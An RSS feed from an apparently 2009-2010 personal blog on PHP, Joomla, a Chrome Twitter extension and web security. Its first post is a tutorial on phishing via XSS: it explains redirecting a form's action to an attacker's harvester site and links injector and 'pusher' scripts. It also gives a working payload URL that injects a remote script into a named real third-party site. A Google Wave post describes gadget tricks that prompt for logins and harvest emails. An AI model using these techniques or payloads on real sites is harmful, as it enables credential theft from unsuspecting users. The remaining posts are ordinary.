<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Thomas Stig Jacobsen's constant why &#187; Programming</title>
	<atom:link href="http://www.e-x-e.dk/category/programming/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.e-x-e.dk</link>
	<description>Programming, Internet security and ballroom dance</description>
	<lastBuildDate>Sat, 03 Jul 2010 18:30:13 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=abc</generator>
		<item>
		<title>How to phish the effective and smart way using XSS</title>
		<link>http://www.e-x-e.dk/2010/07/03/how-to-phish-the-effective-and-smart-way-using-xss-3/</link>
		<comments>http://www.e-x-e.dk/2010/07/03/how-to-phish-the-effective-and-smart-way-using-xss-3/#comments</comments>
		<pubDate>Sat, 03 Jul 2010 18:30:13 +0000</pubDate>
		<dc:creator>Thomas Stig Jacobsen</dc:creator>
				<category><![CDATA[Internet security]]></category>
		<category><![CDATA[Labs]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[Javascript]]></category>
		<category><![CDATA[Phishing]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[XSS]]></category>

		<guid isPermaLink="false">http://www.e-x-e.dk/2010/07/03/how-to-phish-the-effective-and-smart-way-using-xss-3/</guid>
		<description><![CDATA[Normally if you wish to phish a user for information like passwords, emails, social security numbers, credit card numbers or what not and you’re exploiting some website with a bug in its handling of user content (either from a database or from the GET data) (Please note that POST XSS exploits isn’t really easy to [...]]]></description>
			<content:encoded><![CDATA[<p>Normally if you wish to phish a user for information like passwords, emails, social security numbers, credit card numbers or what not and you’re exploiting some website with a bug in its handling of user content (either from a database or from the GET data) <em>(Please note that POST XSS exploits isn’t really easy to exploit since you’ll have to make the user POST the data him/herself)</em> you normally would like to send the user to your own phishing page where you have copied the compromised sites design, CSS etc.&#160; </p>
<p>Please note that when phishing by exploiting an unprotected frame which gets its content URL from a GET querystring (RFI) you’ll have to either copy the CSS etc to your own site or simply link to the sites own CSS files.</p>
<p>Moving on to the topic of this post, exploiting XSS vulnerabilities to phish the attacked users, of course without the users having a clue. </p>
<p>One of the methods which I don’t see get exploited is the JavaScript call “document.formName.action=’http://your-harvester-site.com/exploitingAction.php’”.</p>
<p>With the code above it’s possible to create a man-in-the-middle kind of attack where you can either just choose to log the information of the form or you can choose to tamper with the information before posting the data to the original action.</p>
<p>It can be done with this 3 step attack:</p>
<p><strong>1. step:</strong> Inject the forms of a XSS exploitable page, e.g. with a script like this: <a href="http://www.e-x-e.dk/labs/autoPhisher/injector.js">http://www.e-x-e.dk/labs/autoPhisher/injector.js</a>. A super simple yet effective script I’ll be using for this PoC.</p>
<p><strong>2. step:</strong> Receive the form data, log it/tamper it and send the victim back to the original site with a new exploited URL injected with a “pusher”. This script could be done like this:</p>
<p><a href="http://www.e-x-e.dk/labs/autoPhisher/source/index.php">http://www.e-x-e.dk/labs/autoPhisher/source/index.php</a></p>
<p>This script is using a subclass of the abstract class TopLoader I’m using, it just has some basic functions for getting, setting, saving, deleting etc. </p>
<p>The last part of the script is computing a new pusher-injected URL to which the victim will be sent.</p>
<p><strong>3. step:</strong> Let the pusher to its job</p>
<p>Since we cannot do a POST call for the victim to the original action serverside through PHP, we’ll have to make the browser do it for us through JavaScript. </p>
<p>The pusher script generates some JavaScript which is started when the is window.onload(). It tries to set the value of the form elements from the original form submit by the victim with getElementById. If the element is not found by this method it’ll try to set the value via the getElementsByName. Last but not least it auto submits the correct form with document.forms[{form ID}].submit(). The generator script is here:</p>
<p><a href="http://www.e-x-e.dk/labs/autoPhisher/source/pusher.php">http://www.e-x-e.dk/labs/autoPhisher/source/pusher.php</a></p>
<p>Here a place you can test this thing out:</p>
<p><a href="http://www.doid.dk/page/main.asp?error=timeout&amp;referer=%22%3E%3Cscript%20src=http://www.e-x-e.dk/labs/autoPhisher/injector.js%3E%3C/script%3E">http://www.doid.dk/page/main.asp?error=timeout&amp;referer=%22%3E%3Cscript%20src=http://www.e-x-e.dk/labs/autoPhisher/injector.js%3E%3C/script%3E</a></p>
<p>Example user / password: testerLars / testerLars</p>
<p>Let me know what you think by making some comments and maybe leaving some more usage examples.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.e-x-e.dk/2010/07/03/how-to-phish-the-effective-and-smart-way-using-xss-3/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Choosing hash method in PHP</title>
		<link>http://www.e-x-e.dk/2010/07/03/choosing-hash-method-in-php/</link>
		<comments>http://www.e-x-e.dk/2010/07/03/choosing-hash-method-in-php/#comments</comments>
		<pubDate>Fri, 02 Jul 2010 23:49:32 +0000</pubDate>
		<dc:creator>Thomas Stig Jacobsen</dc:creator>
				<category><![CDATA[Internet security]]></category>
		<category><![CDATA[Labs]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[Testing and stuff]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://www.e-x-e.dk/2010/07/03/choosing-hash-method-in-php/</guid>
		<description><![CDATA[So the other day I wondered the consequences when choosing one hashing method over another when it comes to security. If we say that some hacker has got a hold of your (of course!) encrypted fx passwords then what will it matter that you choose a unbroken, uncommon and maybe slower encryption method? Speed I [...]]]></description>
			<content:encoded><![CDATA[<p>So the other day I wondered the consequences when choosing one hashing method over another when it comes to security. If we say that some hacker has got a hold of your (of course!) encrypted fx passwords then what will it matter that you choose a unbroken, uncommon and maybe slower encryption method?</p>
<p><b>Speed</b></p>
<p>I started with some benchmarking: <a href="http://e-x-e.dk/labs/timing/">http://e-x-e.dk/labs/timing/</a> (source: <a href="http://www.e-x-e.dk/labs/timing/source.php">http://www.e-x-e.dk/labs/timing/source.php</a>).</p>
<p>This basically creates 10000 random strings with a length of 50 and then encrypting all of these random strings with all of the hashing methods of my php installation’s disposal. This outputs a sorted list of the methods. The consequents of choosing fx a slow hashing method means that you’ll have a bit more load on your server since speed == load. But then again, choosing a slow hashing method will also mean a slower bruteforce for the hacker – buying your users (or you) more time to change their passwords and you closing the hole. But you’ll have to remember that where your bigger load/increased hashing-time caused by the slower hashing method is spread out the bruteforcers isn’t. So it’ll be a bigger hit to the bruteforcer than it will be to you.</p>
<p><b>Common vs. uncommon method</b></p>
<p>When choosing a hashing method it can also be a benefit from my point of view to choose a less common method for hashing your password/information if you have the option. And the argument is quite simple I think. With common methods like md5 which is used by the majority of sites today there are already constructed huge (HUGE) rainbow tables etc. (<a href="http://www.freerainbowtables.com/da/tables/md5/">http://www.freerainbowtables.com/da/tables/md5/</a>). Therefore by choosing a common hashing method you are also decreasing it effectiveness since a lot of the string combinations have already been computed.</p>
<p>Choosing a more uncommon hashing method will get rid of this problem, but then again, this maybe result in a slower computing of the hash as well, and for some – that’s a problem. By choosing a fx a tiger(2), SHA-1 or SHA-512 hash over fx. md5 you would decrease the effectiveness/speed of the bruteforce. </p>
<p><b>Hash method attacks</b></p>
<p>The effectiveness of a hash method is of course also influenced by if it has been fx collision attacked (<a href="http://en.wikipedia.org/wiki/Collision_attack">http://en.wikipedia.org/wiki/Collision_attack</a>) or a preimage attack (<a href="http://en.wikipedia.org/wiki/Preimage_attack">http://en.wikipedia.org/wiki/Preimage_attack</a>). Therefore you should also have this in your considerations when choosing a hashing method for your site.</p>
<p><b>Other things to consider</b></p>
<p>Things like salting your passwords etc etc is naturally also a good idea (maybe even with some HUGE salts, to ensure the length of the password extends the typical length of passwords and thereby setting the rainbow tables out of play). Some of these considerations might come in a later post.</p>
<p>I think there a lot fo pros and cons in this matter but as a general conclusion I think it’s time for the use of some more uncommon hashing methods in order to strengthen the security of information if hashed information is compromised. What do you think is the best hashing method to use and why?</p>
]]></content:encoded>
			<wfw:commentRss>http://www.e-x-e.dk/2010/07/03/choosing-hash-method-in-php/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Hacking Google Wave (XSS, XSSR)</title>
		<link>http://www.e-x-e.dk/2010/01/16/a-blogpost-about-hacking-google-wave-with-xss-and-xssr/</link>
		<comments>http://www.e-x-e.dk/2010/01/16/a-blogpost-about-hacking-google-wave-with-xss-and-xssr/#comments</comments>
		<pubDate>Sat, 16 Jan 2010 11:47:32 +0000</pubDate>
		<dc:creator>Thomas Stig Jacobsen</dc:creator>
				<category><![CDATA[Internet security]]></category>
		<category><![CDATA[Labs]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[Testing and stuff]]></category>
		<category><![CDATA[Google Wave]]></category>
		<category><![CDATA[Javascript]]></category>
		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://www.e-x-e.dk/2010/01/16/a-blogpost-about-hacking-google-wave-with-xss-and-xssr/</guid>
		<description><![CDATA[The last couple of days I’ve been fooling around with Google Wave and it’s so called “Gadgets”. In relation to this I  couldn’t help trying out some simple XSS and XSSR techniques which I’ll now show you and hopefully the Google Wave developers so they can secure the Gadgets – creating a even better product. [...]]]></description>
			<content:encoded><![CDATA[<p>The last couple of days I’ve been fooling around with Google Wave and it’s so called “Gadgets”. In relation to this I  couldn’t help trying out some simple XSS and XSSR techniques which I’ll now show you and hopefully the Google Wave developers so they can secure the Gadgets – creating a even better product. These gadget tests was made in the Google Wave preview and not in the Sandbox because I’m still waiting for being granted access to the Sandbox. When I acquire access to the Sandbox I’ll follow up on this blogpost. Lets get started with the fun shall we? <img src='http://www.e-x-e.dk/wordpress/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>So  I started with stealing a basic example, cleaned it down, leaving only the raw gadget. From there I used the “gadgets.util.registerOnLoadHandler(init);” functionality to load potentially malicious code onLoad of the Gadget. This can be used to prompt the viewer of the Gadget for eg. login information. The normal trusting user wouldn’t suspect this risk since it was prompted by Google Wave, right? <img src='http://www.e-x-e.dk/wordpress/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p>Passing on I’ve created a couple of buttons in the Gadget which called a couple of Javascript function which did a couple of different things, one simple alerted the user, just to show that you could do anything.</p>
<p>One button changed window.top.location, sending the user to a completely other site, away from the “protecting” environment of Google Wave.</p>
<p>One button got the viewers Google Wave ID (an email), his/hers display name and his/hers thumbnail url. This could maybe be used to created fake accounts on websites, compromising the viewers exclusive use of his/hers email. Of course the email could also be harvested and sold to spamming bad guys with a lot of “Great deals on Viagra”. <img src='http://www.e-x-e.dk/wordpress/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p>The last button I created in this little Gadget example did also change the window.top.location but this time not to an url but instead to some data:text/html – base64 encoded. This could be used to show ads or propaganda to the viewer without a possibility to block a specific url, since this was content defined in the Gadget’s code itself.</p>
<p>This is what I’ve been doing the last day or two <img src='http://www.e-x-e.dk/wordpress/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  I have you read this and spread the word and of course leave a comment or a trackback. As said I’ll be back with more Google Wave security when I get access to the Sandbox <img src='http://www.e-x-e.dk/wordpress/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>My Gadget can be viewed and tested at this URL:</p>
<p><a href="http://e-x-e.dk/labs/waveHack/hack1.xml">http://e-x-e.dk/labs/waveHack/hack1.xml</a></p>
<div id="scid:66721397-FF69-4ca6-AEC4-17E6B3208830:35b6e93e-7d55-49bd-a1f0-64bf5ff661ad" class="wlWriterEditableSmartContent" style="margin: 0px; display: inline; float: none; padding: 0px;">
<p>Or you can just watch the screenshots:<br />
<a style="border: 0px;" href="http://cid-32e9a60b12499ac6.skydrive.live.com/redir.aspx?page=browse&amp;resid=32E9A60B12499AC6!282&amp;ct=photos"><img style="border: 0px;" src="http://www.e-x-e.dk/wordpress/wp-content/2010/01/InlineRepresentationa8cc7e07644f4eec9357123988fa8320.jpg" alt="Vis Google Wave hack" /></a></p>
<div style="width: 400px; text-align: right;"><a href="http://cid-32e9a60b12499ac6.skydrive.live.com/redir.aspx?page=browse&amp;resid=32E9A60B12499AC6!282&amp;ct=photos">See all screenshots</a></div>
</div>
]]></content:encoded>
			<wfw:commentRss>http://www.e-x-e.dk/2010/01/16/a-blogpost-about-hacking-google-wave-with-xss-and-xssr/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Joomla hacks that makes your day easier</title>
		<link>http://www.e-x-e.dk/2009/12/13/joomla-hacks-that-makes-your-day-easier/</link>
		<comments>http://www.e-x-e.dk/2009/12/13/joomla-hacks-that-makes-your-day-easier/#comments</comments>
		<pubDate>Sun, 13 Dec 2009 19:06:48 +0000</pubDate>
		<dc:creator>Thomas Stig Jacobsen</dc:creator>
				<category><![CDATA[Programming]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[Joomla]]></category>
		<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://www.e-x-e.dk/2009/12/13/joomla-hacks-that-makes-your-day-easier/</guid>
		<description><![CDATA[So If you read my previous post about the fact that Joomla sucks and why Joomla makes me so frustrated you properly thought I would be nice with some solutions on the problems stated. So I created some hacks as answers, here goes: A custom menu-maker operating in only one sub-level because that is what [...]]]></description>
			<content:encoded><![CDATA[<p>So If you read my previous post about the fact that Joomla sucks and why Joomla makes me so frustrated you properly thought I would be nice with some solutions on the problems stated.</p>
<p>So I created some hacks as answers, here goes:</p>
<p>A custom menu-maker operating in only one sub-level because that is what I needed. But if you need infinite sub-level just create a function from the code beneath.</p>
<pre class="php">&nbsp;
<span style="color: #0000ff;">$menu</span> = JSite::<span style="color: #006600;">getMenu</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #b1b100;">foreach</span> <span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$menu</span>-&gt;<span style="color: #006600;">getItems</span><span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">&quot;parent&quot;</span>, <span style="color: #ff0000;">&quot;0&quot;</span><span style="color: #66cc66;">&#41;</span> <span style="color: #b1b100;">as</span> <span style="color: #0000ff;">$item</span><span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">&#123;</span>
	<a href="http://www.php.net/echo"><span style="color: #000066;">echo</span></a> <span style="color: #ff0000;">&quot;
&lt;li&gt;&lt;a href=&quot;</span>\<span style="color: #ff0000;">&quot;/$item-&quot;</span>&gt;link\<span style="color: #ff0000;">&quot;&gt;&quot;</span> . <span style="color: #0000ff;">$item</span>-&gt;<span style="color: #006600;">name</span> . <span style="color: #ff0000;">&quot;&lt;/a&gt;&quot;</span>;
	<span style="color: #b1b100;">if</span> <span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$menu</span>-&gt;<span style="color: #006600;">getItems</span><span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">&quot;parent&quot;</span>, <span style="color: #0000ff;">$item</span>-&gt;<span style="color: #006600;">id</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">&#123;</span>
		<a href="http://www.php.net/echo"><span style="color: #000066;">echo</span></a> <span style="color: #ff0000;">&quot;
&lt;ul&gt;&quot;</span>;
		<a href="http://www.php.net/echo"><span style="color: #000066;">echo</span></a> <span style="color: #ff0000;">&quot;
&nbsp;
&quot;</span>;
		<span style="color: #b1b100;">foreach</span> <span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$menu</span>-&gt;<span style="color: #006600;">getItems</span><span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">&quot;parent&quot;</span>, <span style="color: #0000ff;">$item</span>-&gt;;id<span style="color: #66cc66;">&#41;</span> <span style="color: #b1b100;">as</span> <span style="color: #0000ff;">$subItem</span><span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">&#123;</span>
			<a href="http://www.php.net/echo"><span style="color: #000066;">echo</span></a> <span style="color: #ff0000;">&quot;
&lt;li&gt;&lt;a href=&quot;</span>\<span style="color: #ff0000;">&quot;/$item-&quot;</span>&gt;link\<span style="color: #ff0000;">&quot;&gt;&quot;</span> . <span style="color: #0000ff;">$subItem</span>-&gt;<span style="color: #006600;">name</span> . <span style="color: #ff0000;">&quot;&lt;/a&gt;&lt;/li&gt;
&nbsp;
&quot;</span>;
		<span style="color: #66cc66;">&#125;</span>
		<a href="http://www.php.net/echo"><span style="color: #000066;">echo</span></a> <span style="color: #ff0000;">&quot;
&nbsp;
&quot;</span>;
		<a href="http://www.php.net/echo"><span style="color: #000066;">echo</span></a> <span style="color: #ff0000;">&quot;&lt;/ul&gt;
&nbsp;
&quot;</span>;
	<span style="color: #66cc66;">&#125;</span>
	<a href="http://www.php.net/echo"><span style="color: #000066;">echo</span></a> <span style="color: #ff0000;">&quot;&lt;/li&gt;
&nbsp;
<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span>;
<span style="color: #66cc66;">&#125;</span></pre>
<p>Please note that the menu items and the sub-level items is objects and not arrays of data.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.e-x-e.dk/2009/12/13/joomla-hacks-that-makes-your-day-easier/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Why Joomla sucks!</title>
		<link>http://www.e-x-e.dk/2009/12/09/why-joomla-sucks/</link>
		<comments>http://www.e-x-e.dk/2009/12/09/why-joomla-sucks/#comments</comments>
		<pubDate>Wed, 09 Dec 2009 22:01:40 +0000</pubDate>
		<dc:creator>Thomas Stig Jacobsen</dc:creator>
				<category><![CDATA[Labs]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[Joomla]]></category>
		<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://www.e-x-e.dk/2009/12/09/why-joomla-sucks/</guid>
		<description><![CDATA[So I got this job from a customer: setup a design from a sliced PSD file into some CSS formatted XHTML. Fair enough, that couldn’t be that hard – and it wasn’t. The real pain the in ass is NOW: I have to set the darn thing up so it can run in Joomla! I’ve [...]]]></description>
			<content:encoded><![CDATA[<p>So I got this job from a customer: setup a design from a sliced PSD file into some CSS formatted XHTML. Fair enough, that couldn’t be that hard – and it wasn’t. The real pain the in ass is NOW:</p>
<p>I have to set the darn thing up so it can run in Joomla! I’ve heard good things about Joomla in the past and I thought it would be a pleasure to do so. But I was wrong – boy was I wrong?!</p>
<p>First of all I got this horizontal menu at the top. I made it so it beautifully supports sub-items, nicely done in jQuery and in CSS. But since Joomla can’t generate the menu correctly itself I now have to hack Joomla and the menu in order to get the right view. It could have been nicely done if just Joomla offered some kind of advanced template functions like: “getMenuItems($menuId)”. I guess I’m just frustrated, I’ll move on to the some of the other stuff I guess – or so I thought.</p>
<p>I thought I could setup the place where the content goes but nooooooo. The div where the content goes is very specific with paddings, margins and width but I thought that putting in some content wouldn’t fuck that up but I was wrong again. Because for some unknown reason Joomla had to create nested divs, tables and what not inside my perfect CSS. And I can’t really hack this part because the “content holder” that Joomla uses is reused by all of it’s freaking components. I begin to wonder if it would be easier and faster to create this freaking thing from scratch!</p>
<p>I just gave up for today with a little hope though all of these freaking problems today. Because I maybe found a secret weapon within Joomla, an API – yes you read right! An API! The holy grail for a lot of developers as myself which do not accept the second best solution. But now I got a new problem! Only like 5 or 10% of this holy grail is documented in their API reference wiki.</p>
<p>Please comment or contact me if you got some solutions to some of my problems, if you are a Joomla geek or if you also got problems with Joomla and want to get it of your chest – just like I just did <img src='http://www.e-x-e.dk/wordpress/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.e-x-e.dk/2009/12/09/why-joomla-sucks/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Labs: Twitter Add-on (extension) for Google Chrome, new version &#8211; new post.</title>
		<link>http://www.e-x-e.dk/2009/05/30/labs-twitter-add-on-extension-for-google-chrome-new-version-new-post/</link>
		<comments>http://www.e-x-e.dk/2009/05/30/labs-twitter-add-on-extension-for-google-chrome-new-version-new-post/#comments</comments>
		<pubDate>Sat, 30 May 2009 20:42:55 +0000</pubDate>
		<dc:creator>Thomas Stig Jacobsen</dc:creator>
				<category><![CDATA[Computers]]></category>
		<category><![CDATA[Labs]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[extension]]></category>
		<category><![CDATA[Google Chrome]]></category>
		<category><![CDATA[Twitter]]></category>

		<guid isPermaLink="false">http://www.e-x-e.dk/2009/05/30/labs-twitter-add-on-extension-for-google-chrome-new-version-new-post/</guid>
		<description><![CDATA[So after a not of attention after my first release of the Twitter Add-on for Google Chrome I decided to rewrite the whole thing today. This has resulted in some dramatic changes and improvements. But I’ve also got some things I would like to investigate further to improve the extension further. Why doesn’t the extension [...]]]></description>
			<content:encoded><![CDATA[<p>So after a not of attention after my first release of the Twitter Add-on for Google Chrome I decided to rewrite the whole thing today.</p>
<p>This has resulted in some dramatic changes and improvements. But I’ve also got some things I would like to investigate further to improve the extension further. </p>
<p>Why doesn’t the extension (toolstrip) catch backspace key press but it does catches a normal key press like an enter key press or a simple letter?</p>
<p>Furthermore I’m considering letting an “enter” key press in the input field call the TwitterMe() function instead of letting the button (id=”submitMe”) doing so. </p>
<p><strong>If you got some thoughts on this please comment this post.</strong></p>
<p>Now for the changes and improvements of the new version of the extension. As Aaron suggested in my last post as a comment to the first and earlier version I let the Twitter-icon be a controller for toggling the visibility of the input and button. This works quite well after I decided to use jQuery as the JavaScript framework in this extension. I would have liked to expand the extension in the height but I couldn’t get Chrome to “dynamically” change the height of the toolstrip, only the width. I think the below quote should be rewritten if it’s only possible “dynamically” change the height of the toolstrip.</p>
<blockquote><p>The toolbar automatically detects how much space a toolstrip needs and reflows. So you can resize your toolstrip dynamically if you need a little more room temporarily. - <a href="http://dev.chromium.org/developers/design-documents/extensions/toolstrips">http://dev.chromium.org/developers/design-documents/extensions/toolstrips</a></p>
</blockquote>
<p>Aaron also asked why I didn’t use a XHR call to the (brilliant) Twitter API instead of using the server-layer and that me research the possibilities of such a solution. After some investigation it’s now working fantastic. </p>
<p>Furthermore I decided to kick out the username and password fields since they were ruining the flow of extension. Your username and password is now to be entered in the “twitter-interface.html” which now also is XHTML Strict 1.0 valid (if that matters anyway). </p>
<p>Underneath I’ll include the download link to the new version as well as some new screenshots. Have fun and comment please! <img src='http://www.e-x-e.dk/wordpress/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
<p>Download link: <a href="http://e-x-e.dk/labs/chrome-twitter/twitter-addon_v_0_2.zip">http://e-x-e.dk/labs/chrome-twitter/twitter-addon_v_0_2.zip</a></p>
<p><a href="http://www.e-x-e.dk/wordpress/wp-content/2009/05/screen0.jpg" target="_blank"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; margin-left: 0px; border-left-width: 0px; margin-right: 0px" title="screen0" border="0" alt="screen0" align="left" src="http://www.e-x-e.dk/wordpress/wp-content/2009/05/screen0-thumb.jpg" width="260" height="170" /></a><a href="http://www.e-x-e.dk/wordpress/wp-content/2009/05/screen1.jpg" target="_blank"><img style="border-right-width: 0px; display: block; float: none; border-top-width: 0px; border-bottom-width: 0px; margin-left: auto; border-left-width: 0px; margin-right: auto" title="screen1" border="0" alt="screen1" src="http://www.e-x-e.dk/wordpress/wp-content/2009/05/screen1-thumb.jpg" width="260" height="170" /></a></p>
<p><strong>Did you enjoy this post? Have a look at the post before, in this post there are some more information about installing the add-on (extension): <a href="http://www.e-x-e.dk/2009/05/29/labs-twitter-add-on-extension-for-google-chrome/">http://www.e-x-e.dk/2009/05/29/labs-twitter-add-on-extension-for-google-chrome/</a>.</strong></p>
]]></content:encoded>
			<wfw:commentRss>http://www.e-x-e.dk/2009/05/30/labs-twitter-add-on-extension-for-google-chrome-new-version-new-post/feed/</wfw:commentRss>
		<slash:comments>13</slash:comments>
		</item>
		<item>
		<title>Labs: Twitter Add-on (extension) for Google Chrome</title>
		<link>http://www.e-x-e.dk/2009/05/29/labs-twitter-add-on-extension-for-google-chrome/</link>
		<comments>http://www.e-x-e.dk/2009/05/29/labs-twitter-add-on-extension-for-google-chrome/#comments</comments>
		<pubDate>Fri, 29 May 2009 22:08:44 +0000</pubDate>
		<dc:creator>Thomas Stig Jacobsen</dc:creator>
				<category><![CDATA[Computers]]></category>
		<category><![CDATA[Labs]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[addon]]></category>
		<category><![CDATA[extension]]></category>
		<category><![CDATA[fun]]></category>
		<category><![CDATA[Google Chrome]]></category>
		<category><![CDATA[Twitter]]></category>

		<guid isPermaLink="false">http://www.e-x-e.dk/2009/05/29/labs-twitter-add-on-extension-for-google-chrome/</guid>
		<description><![CDATA[Did you like this post, take a look at the new post and the new version of the add-on (extension): http://www.e-x-e.dk/2009/05/30/labs-twitter-add-on-extension-for-google-chrome-new-version-new-post/. So, today I saw some article about the Google Chrome add-ons (extensions as they also call them). And since I’m a Chrome user myself I decided to play along by creating a small basic [...]]]></description>
			<content:encoded><![CDATA[<p><strong>Did you like this post, take a look at the new post and the new version of the add-on (extension): <a href="http://www.e-x-e.dk/2009/05/30/labs-twitter-add-on-extension-for-google-chrome-new-version-new-post/">http://www.e-x-e.dk/2009/05/30/labs-twitter-add-on-extension-for-google-chrome-new-version-new-post/</a>.</strong></p>
<p>So, today I saw some article about the Google Chrome add-ons (extensions as they also call them). And since I’m a Chrome user myself I decided to play along by creating a small basic extension for Chrome. </p>
<p>I went along and created a small extension which would update a persons status on Twitter (and possibly also Facebook - through the Twitter application). It works in a really simple fashion using a client-part and a server-part. I had to do so since Google Chrome doesn’t support native cURL yet. So this is how it works:</p>
<p>Client-part: A simple form containing the status, username and password which is posting to a php file (post.php). </p>
<p>Server-part: The server-part consists of the post.php and the twitterAPI.php. The post.php handels the post from the client and calls the function (in twitterAPI.php) which does a cURL post to the Twitter API. The function returns a fresh form ready to update the status after entering the new status and the password (username has been passed on after the return). The twitterAPI.php is a modified edition of the original work of Antonio Lupetti (<a href="http://woork.blogspot.com/2007/10/twitter-send-message-from-php-page.html">http://woork.blogspot.com/2007/10/twitter-send-message-from-php-page.html</a>)</p>
<p>For testing I just used the commandline option by editing the shortcut:    <br />Target:     <br />&#160;&#160;&#160; &quot;path_to_the_chrome.exe&quot; --enable-extensions --load-extension=&quot;The_path_to_the_addon_folder&quot; </p>
<p>&#160;&#160;&#160; fx.    <br />&#160;&#160;&#160; &quot;C:\Users\Thomas Stig Jacobsen\AppData\Local\Google\Chrome\Application\chrome.exe&quot; --enable-extensions --load-extension=&quot;C:\Users\Thomas Stig Jacobsen\Documents\Chrome addons\twitter&quot;     <br />Start in:     <br />&#160;&#160;&#160; &quot;path_to_your_chrome_application_folder&quot; </p>
<p>&#160;&#160;&#160; fx.    <br />&#160;&#160;&#160; &quot;C:\Users\Thomas Stig Jacobsen\AppData\Local\Google\Chrome\Application&quot; </p>
<p>I’m allowing anyone to use my server as the server-part (there is no kind of logging, I’m using the files that you can download underneath).</p>
<p>All the files can be found here:</p>
<p><a href="http://e-x-e.dk/labs/chrome-twitter/twitter-addon.zip">http://e-x-e.dk/labs/chrome-twitter/twitter-addon.zip</a></p>
<p>Screenshot:</p>
<p><a href="http://www.e-x-e.dk/wordpress/wp-content/2009/05/untitled.jpg" target="_blank"><img style="border-right-width: 0px; display: block; float: none; border-top-width: 0px; border-bottom-width: 0px; margin-left: auto; border-left-width: 0px; margin-right: auto" title="Click here for a greater view!" border="0" alt="Click here for a greater view!" src="http://www.e-x-e.dk/wordpress/wp-content/2009/05/untitled-thumb.jpg" width="260" height="170" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.e-x-e.dk/2009/05/29/labs-twitter-add-on-extension-for-google-chrome/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Review of the webhost one.com</title>
		<link>http://www.e-x-e.dk/2009/02/20/review-of-the-webhost-onecom/</link>
		<comments>http://www.e-x-e.dk/2009/02/20/review-of-the-webhost-onecom/#comments</comments>
		<pubDate>Thu, 19 Feb 2009 23:09:53 +0000</pubDate>
		<dc:creator>Thomas Stig Jacobsen</dc:creator>
				<category><![CDATA[Computers]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[Review]]></category>
		<category><![CDATA[MySQL]]></category>
		<category><![CDATA[One.com]]></category>

		<guid isPermaLink="false">http://www.e-x-e.dk/2009/02/20/review-of-the-webhost-onecom/</guid>
		<description><![CDATA[I’ve been a customer of one.com for over 4 years now (started: 08-11-04) and I’ve been very pleased so far. I hasn't had a lot of support cases and emails regarding the service or uptime from one.com Though the years one.com has upgraded it’s offers from time to time and each time I and other [...]]]></description>
			<content:encoded><![CDATA[<p>I’ve been a customer of one.com for over 4 years now (started: 08-11-04) and I’ve been very pleased so far. I hasn't had a lot of support cases and emails regarding the service or uptime from one.com</p>
<p>Though the years one.com has upgraded it’s offers from time to time and each time I and other old customers have been upgraded as well, for that I’m sure we all are very grateful.</p>
